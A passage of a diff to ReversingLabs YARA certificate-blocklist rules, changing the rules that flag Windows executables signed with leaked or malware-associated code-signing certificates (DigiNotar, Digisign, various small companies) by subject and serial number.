0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "DigiNotar Cyber CA" and pe.signatures [ i ] . serial == "07:27:10:0d" and 1308182400 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_Fd8C468Cc1B45C9Cfb41Cbd8C835Cc9E : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_07271003 : INFO FILE { meta: - description = "Certificate used for digitally signing malware." + description = "The digital certificate has leaked." author = "ReversingLabs" - id = "f0050a52-65d5-54b2-b06d-08812af98948" + id = "7573c436-5bf9-5522-9952-e30dbbccd092" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L6732-L6750" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L801-L817" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "230d33f0d1d31d4cb76bf3b13f109d3cc9ace846daef145e1dc7666b33c8a42a" + logic_hash = "14c201b4fdda5b3553732a173a3d6705129c54f2a50d26997d63a77be8504285" score = 75 quality = 90 tags = "INFO, FILE" @@ -16397,21 +38791,21 @@ rule REVERSINGLABS_Cert_Blocklist_Fd8C468Cc1B45C9Cfb41Cbd8C835Cc9E : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Pivo ZLoun s.r.o." and ( pe.signatures [ i ] . serial == "00:fd:8c:46:8c:c1:b4:5c:9c:fb:41:cb:d8:c8:35:cc:9e" or pe.signatures [ i ] . serial == "fd:8c:46:8c:c1:b4:5c:9c:fb:41:cb:d8:c8:35:cc:9e" ) and 1604019600 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "DigiNotar Cyber CA" and pe.signatures [ i ] . serial == "07:27:10:03" and 1308182400 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_7C061Baa3118327255161F6A7Fa4E21D : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_013134Bf : INFO FILE { meta: - description = "Certificate used for digitally signing malware." + description = "The digital certificate has leaked." author = "ReversingLabs" - id = "f597956a-d11b-54e4-91b6-0572c0b10279" + id = "a3292707-c481-56a8-abf9-e1a762c76cb6" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L6752-L6770" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L819-L835" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "4193fce69af03b3521a3cc442b762c52f8585b44fa6b0bd78b9ace171b807ed4" + logic_hash = "1ade100c310c22bce25bcc6687855bd4eb6364b64cf31514b2548509a16e4a36" score = 75 quality = 90 tags = "INFO, FILE" @@ -16421,21 +38815,21 @@ rule REVERSINGLABS_Cert_Blocklist_7C061Baa3118327255161F6A7Fa4E21D : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "YUTAKS, OOO" and ( pe.signatures [ i ] . serial == "00:7c:06:1b:aa:31:18:32:72:55:16:1f:6a:7f:a4:e2:1d" or pe.signatures [ i ] . serial == "7c:06:1b:aa:31:18:32:72:55:16:1f:6a:7f:a4:e2:1d" ) and 1599611338 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "DigiNotar PKIoverheid CA Organisatie - G2" and pe.signatures [ i ] . serial == "01:31:34:bf" and 1308182400 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_04332C16724Ffeda5868D22Af56Aea43 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_01314476 : INFO FILE { meta: - description = "Certificate used for digitally signing malware." + description = "The digital certificate has leaked." author = "ReversingLabs" - id = "1e5a2708-2875-50ab-af6b-3be91f38e13f" + id = "e0a52ad1-cebd-5ffc-953f-e0b09fc6d710" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L6772-L6788" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L837-L853" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "6b62d5c7a3c6e3096797cd2f515d86045fa77682638bda44175d05c5b6c5bbc0" + logic_hash = "6f2f3f3ae009fbb9ebe589fc6b640be89c4a7b734eda515f182c7e9c9ffb4779" score = 75 quality = 90 tags = "INFO, FILE" @@ -16445,21 +38839,21 @@ rule REVERSINGLABS_Cert_Blocklist_04332C16724Ffeda5868D22Af56Aea43 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Bespoke Software Solutions Limited" and pe.signatures [ i ] . serial == "04:33:2c:16:72:4f:fe:da:58:68:d2:2a:f5:6a:ea:43" and 1597971601 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "DigiNotar PKIoverheid CA Overheid" and pe.signatures [ i ] . serial == "01:31:44:76" and 1308182400 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_030012F134E64347669F3256C7D050C5 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_013169B0 : INFO FILE { meta: - description = "Certificate used for digitally signing malware." + description = "The digital certificate has leaked." author = "ReversingLabs" - id = "1e61a781-d5fb-5f05-81c4-3cc697ece13c" + id = "a5f68c0a-635a-5aa9-94d2-7628999f06c2" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L6790-L6806" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L855-L871" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "1a55856bfa4c632b2b0404686dc7ba5e7238b619dd4d2eb68c3d291bc86e52c4" + logic_hash = "354421ebad7fd0b73c9ba63630c91d481901ca9ec39be3c6b66843221e4b5aad" score = 75 quality = 90 tags = "INFO, FILE" @@ -16469,21 +38863,21 @@ rule REVERSINGLABS_Cert_Blocklist_030012F134E64347669F3256C7D050C5 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Futumarket LLC" and pe.signatures [ i ] . serial == "03:00:12:f1:34:e6:43:47:66:9f:32:56:c7:d0:50:c5" and 1604036657 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "DigiNotar PKIoverheid CA Overheid en Bedrijven" and pe.signatures [ i ] . serial == "01:31:69:b0" and 1308182400 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_Fa3Dcac19B884B44Ef4F81541184D6B0 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_0C76Da9C910C4E2C9Efe15D058933C4C : INFO FILE { meta: - description = "Certificate used for digitally signing malware." + description = "The digital certificate has leaked." author = "ReversingLabs" - id = "574ee0d4-ba7c-5c74-b711-222f92196f4a" + id = "a9b06d49-1ab2-539e-bd1f-16da40b654b2" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L6808-L6826" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L873-L889" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "324de84cb8c2f5402c9326749e3456e11312828df2523954fd84f7fb3298fdf3" + logic_hash = "883e93bff42161ba68f69fb17f7e78377d7f3cb6b6cdf72cffb4166466f8bc7b" score = 75 quality = 90 tags = "INFO, FILE" @@ -16493,21 +38887,21 @@ rule REVERSINGLABS_Cert_Blocklist_Fa3Dcac19B884B44Ef4F81541184D6B0 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Unicom Ltd" and ( pe.signatures [ i ] . serial == "00:fa:3d:ca:c1:9b:88:4b:44:ef:4f:81:54:11:84:d6:b0" or pe.signatures [ i ] . serial == "fa:3d:ca:c1:9b:88:4b:44:ef:4f:81:54:11:84:d6:b0" ) and 1603958571 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "DigiNotar Root CA" and pe.signatures [ i ] . serial == "0c:76:da:9c:91:0c:4e:2c:9e:fe:15:d0:58:93:3c:4c" and 1308182400 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_0E6F4Cb8B06E01C3Bd296Ace3A95F814 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_469C2Caf : INFO FILE { meta: - description = "Certificate used for digitally signing malware." + description = "The digital certificate has leaked." author = "ReversingLabs" - id = "7a829a63-eeb4-50ef-829d-fc13572c1148" + id = "12d7c4a8-0a84-502a-855b-674972a2e2e1" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L6828-L6844" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L891-L907" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "f3184a9d1fe2a1cf2dcc04d26c284aa9a651d2f00aa28642d7f951550a050138" + logic_hash = "2490dbd74a5d3eede494d284f96af835c270d2fb0752b887aadbaf92bf34e6d4" score = 75 quality = 90 tags = "INFO, FILE" @@ -16517,21 +38911,21 @@ rule REVERSINGLABS_Cert_Blocklist_0E6F4Cb8B06E01C3Bd296Ace3A95F814 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "EVATON, s.r.o." and pe.signatures [ i ] . serial == "0e:6f:4c:b8:b0:6e:01:c3:bd:29:6a:ce:3a:95:f8:14" and 1603957781 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "DigiNotar Root CA" and pe.signatures [ i ] . serial == "46:9c:2c:af" and 1308182400 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_085B70224253486624Fc36Fa658A1E32 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_469C3Cc9 : INFO FILE { meta: - description = "Certificate used for digitally signing malware." + description = "The digital certificate has leaked." author = "ReversingLabs" - id = "7d27604e-4ecd-559c-9180-4914e7f1f6c9" + id = "36d76a9f-d18f-56bf-b00a-f7320f04f39a" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L6846-L6862" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L909-L925" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "50ff48a421a109f8c6bf92032691d9b673945bc591005004ff17dc18c97d4aea" + logic_hash = "7327b7cbeb616bc46c82975aed6b3ea1caafa74fd431e2d98ca55b00851e22c8" score = 75 quality = 90 tags = "INFO, FILE" @@ -16541,21 +38935,21 @@ rule REVERSINGLABS_Cert_Blocklist_085B70224253486624Fc36Fa658A1E32 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Best Fud, OOO" and pe.signatures [ i ] . serial == "08:5b:70:22:42:53:48:66:24:fc:36:fa:65:8a:1e:32" and 1597971601 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "DigiNotar Root CA" and pe.signatures [ i ] . serial == "46:9c:3c:c9" and 1308182400 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_51Cd5393514F7Ace2B407C3Dbfb09D8D : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_0A82Bd1E144E8814D75B1A5527Bebf3E : INFO FILE { meta: - description = "Certificate used for digitally signing malware." + description = "The digital certificate has leaked." author = "ReversingLabs" - id = "ac86893f-2edd-5f1c-96eb-4cb140e8e001" + id = "f3d7d714-8085-524a-814c-ab8cc59ceb4f" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L6864-L6880" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L927-L943" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "4cd08b9113a7c1f4f2d438ac59ad0be503daded3a08b8c8e8ce3e0dfdddf259e" + logic_hash = "2534e58ce1e5adbb10dbacb664d40cc32faec341bdb93b926cc85b666cc7b77e" score = 75 quality = 90 tags = "INFO, FILE" @@ -16565,21 +38959,21 @@ rule REVERSINGLABS_Cert_Blocklist_51Cd5393514F7Ace2B407C3Dbfb09D8D : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "APPI CZ a.s" and pe.signatures [ i ] . serial == "51:cd:53:93:51:4f:7a:ce:2b:40:7c:3d:bf:b0:9d:8d" and 1605299467 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "DigiNotar Root CA G2" and pe.signatures [ i ] . serial == "0a:82:bd:1e:14:4e:88:14:d7:5b:1a:55:27:be:bf:3e" and 1308182400 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_B72179C027B9037Ee220E81Ab18Fe56D : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_469C2Cb0 : INFO FILE { meta: - description = "Certificate used for digitally signing malware." + description = "The digital certificate has leaked." author = "ReversingLabs" - id = "85639e74-80b0-59c6-b31b-5b3d9587b37a" + id = "dd19b988-747d-55b9-825b-2ada1ca83691" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L6882-L6900" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L945-L961" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "1416768011ff824307d112bdeecce1ad50d1f673e92bef8fddbbeb58ff98b1b1" + logic_hash = "67ff84475cbe231f97daa3ce623689e7936db8e56be562778f8a4c1ebf7bf316" score = 75 quality = 90 tags = "INFO, FILE" @@ -16589,21 +38983,21 @@ rule REVERSINGLABS_Cert_Blocklist_B72179C027B9037Ee220E81Ab18Fe56D : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Planeta, TOV" and ( pe.signatures [ i ] . serial == "00:b7:21:79:c0:27:b9:03:7e:e2:20:e8:1a:b1:8f:e5:6d" or pe.signatures [ i ] . serial == "b7:21:79:c0:27:b9:03:7e:e2:20:e8:1a:b1:8f:e5:6d" ) and 1603381300 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "DigiNotar Services 1024 CA" and pe.signatures [ i ] . serial == "46:9c:2c:b0" and 1308182400 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_07B74C70C4Aa092648B7F0D1A8A3A28F : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_4C0E636A : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "f941b7d6-f168-57aa-881a-54679a2b948c" + id = "beb2039c-3b0e-5649-96ca-40175493e62c" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L6902-L6918" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L963-L979" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "97759fa2e519936115f0493e251f9abc0cce3ada437776a5a370388512235491" + logic_hash = "20169cf9ce3f271a22d1376bcf0ff0914f43937738c9ed61fd8e40179405136b" score = 75 quality = 90 tags = "INFO, FILE" @@ -16613,21 +39007,21 @@ rule REVERSINGLABS_Cert_Blocklist_07B74C70C4Aa092648B7F0D1A8A3A28F : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Rad-Grad D.O.O." and pe.signatures [ i ] . serial == "07:b7:4c:70:c4:aa:09:26:48:b7:f0:d1:a8:a3:a2:8f" and 1603240965 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Digisign Server ID - (Enrich)" and pe.signatures [ i ] . serial == "4c:0e:63:6a" and 1320191999 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_4C8Def294478B7D59Ee95C61Fae3D965 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_072714A9 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "549249df-690c-5b75-ac1a-77b509c9e163" + id = "15ad6936-78a4-58b1-8c68-27ec4ed38649" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L6920-L6936" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L981-L997" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "3b7b10afa5f0212bd494ba8fe32bef18f2bbd77c8ab2ad498b9557a0575cc177" + logic_hash = "8bea4cfb60056446043ef90a7d01ecc52d82d9e7005a145a4daa61a522ecd2ae" score = 75 quality = 90 tags = "INFO, FILE" @@ -16637,21 +39031,21 @@ rule REVERSINGLABS_Cert_Blocklist_4C8Def294478B7D59Ee95C61Fae3D965 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "DREAM SECURITY USA INC" and pe.signatures [ i ] . serial == "4c:8d:ef:29:44:78:b7:d5:9e:e9:5c:61:fa:e3:d9:65" and 1592961292 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Digisign Server ID (Enrich)" and pe.signatures [ i ] . serial == "07:27:14:a9" and 1320191999 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_7D36Cbb64Bc9Add17Ba71737D3Ecceca : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_00D8F35F4Eb7872B2Dab0692E315382Fb0 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "ce10840c-150d-5ecd-ab9a-7bc96092ebfd" + id = "2c051732-76d7-5562-a79e-c5bbdc8373b2" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L6938-L6954" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L999-L1017" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "5874860582ed5be6908dca38e6ecae831eeeb0c2b768e8065ada9fd5ac2bda89" + logic_hash = "463757c59c32859163ea80e694e1f39239c857124aad3895f22f83b47645910c" score = 75 quality = 90 tags = "INFO, FILE" @@ -16661,21 +39055,21 @@ rule REVERSINGLABS_Cert_Blocklist_7D36Cbb64Bc9Add17Ba71737D3Ecceca : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "LTD SERVICES LIMITED" and pe.signatures [ i ] . serial == "7d:36:cb:b6:4b:c9:ad:d1:7b:a7:17:37:d3:ec:ce:ca" and 1616025600 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "global trustee" and ( pe.signatures [ i ] . serial == "00:d8:f3:5f:4e:b7:87:2b:2d:ab:06:92:e3:15:38:2f:b0" or pe.signatures [ i ] . serial == "d8:f3:5f:4e:b7:87:2b:2d:ab:06:92:e3:15:38:2f:b0" ) and 1300060800 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_Ad255D4Ebefa751F3782587396C08629 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_750E40Ff97F047Edf556C7084Eb1Abfd : INFO FILE { meta: - description = "Certificate used for digitally signing malware." + description = "The digital certificate has leaked." author = "ReversingLabs" - id = "e42d2881-efda-5aa0-b455-dabbd3a77e97" + id = "7ae4ba81-82be-57f9-aa8c-0e5c30e412c6" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L6956-L6974" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L1019-L1035" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "43f44cbedf37094416628c9df23767be3b036519f93222812597777a146ecb24" + logic_hash = "21c2468905514e1725a206814b0c61c576cf7f97f184bac857bca9283f49a957" score = 75 quality = 90 tags = "INFO, FILE" @@ -16685,21 +39079,21 @@ rule REVERSINGLABS_Cert_Blocklist_Ad255D4Ebefa751F3782587396C08629 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "OOO Ornitek" and ( pe.signatures [ i ] . serial == "00:ad:25:5d:4e:be:fa:75:1f:37:82:58:73:96:c0:86:29" or pe.signatures [ i ] . serial == "ad:25:5d:4e:be:fa:75:1f:37:82:58:73:96:c0:86:29" ) and 1614643200 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Microsoft Corporation" and pe.signatures [ i ] . serial == "75:0e:40:ff:97:f0:47:ed:f5:56:c7:08:4e:b1:ab:fd" and 980899199 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_262Ca7Ae19D688138E75932832B18F9D : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_1B5190F73724399C9254Cd424637996A : INFO FILE { meta: - description = "Certificate used for digitally signing malware." + description = "The digital certificate has leaked." author = "ReversingLabs" - id = "7151fd62-7f6c-59d7-800b-65e5b4db279b" + id = "dfb08450-c35c-5b7b-9d04-2c9a6af9bcf8" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L6976-L6992" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L1037-L1053" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "a5bb946c6199cd47a087ac26f0a996261318d1830191ea7c0e7797ff03984558" + logic_hash = "08f287ccda93e03a7e796d5625ab35ef0de782d07e5db4e2264f612fc5ebaa21" score = 75 quality = 90 tags = "INFO, FILE" @@ -16709,21 +39103,21 @@ rule REVERSINGLABS_Cert_Blocklist_262Ca7Ae19D688138E75932832B18F9D : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Bisoyetutu Ltd Ltd" and pe.signatures [ i ] . serial == "26:2c:a7:ae:19:d6:88:13:8e:75:93:28:32:b1:8f:9d" and 1616025600 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Microsoft Corporation" and pe.signatures [ i ] . serial == "1b:51:90:f7:37:24:39:9c:92:54:cd:42:46:37:99:6a" and 980812799 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_59A57E8Ba3Dcf2B6F59981Fda14B03 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_00Ebaa11D62E2481081820 : INFO FILE { meta: - description = "Certificate used for digitally signing malware." + description = "The digital certificate has leaked." author = "ReversingLabs" - id = "12c80895-57fd-5341-b3ef-d59c25d4c234" + id = "e192d271-b5de-5acc-a04f-02a26d9231ac" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L6994-L7010" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L1055-L1072" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "6e77c7d0bd7e5e9bc8880cc6ffc3f5f4f738e3dde22c270ad7a6f6672a99de53" + logic_hash = "2fafc6775ec88b5a1000afbc7234fbef6b03e9eaf866dae660dd2d749996cb5c" score = 75 quality = 90 tags = "INFO, FILE" @@ -16733,21 +39127,21 @@ rule REVERSINGLABS_Cert_Blocklist_59A57E8Ba3Dcf2B6F59981Fda14B03 : INFO FILE importance = 25 condition: - uint16( 0 ) == 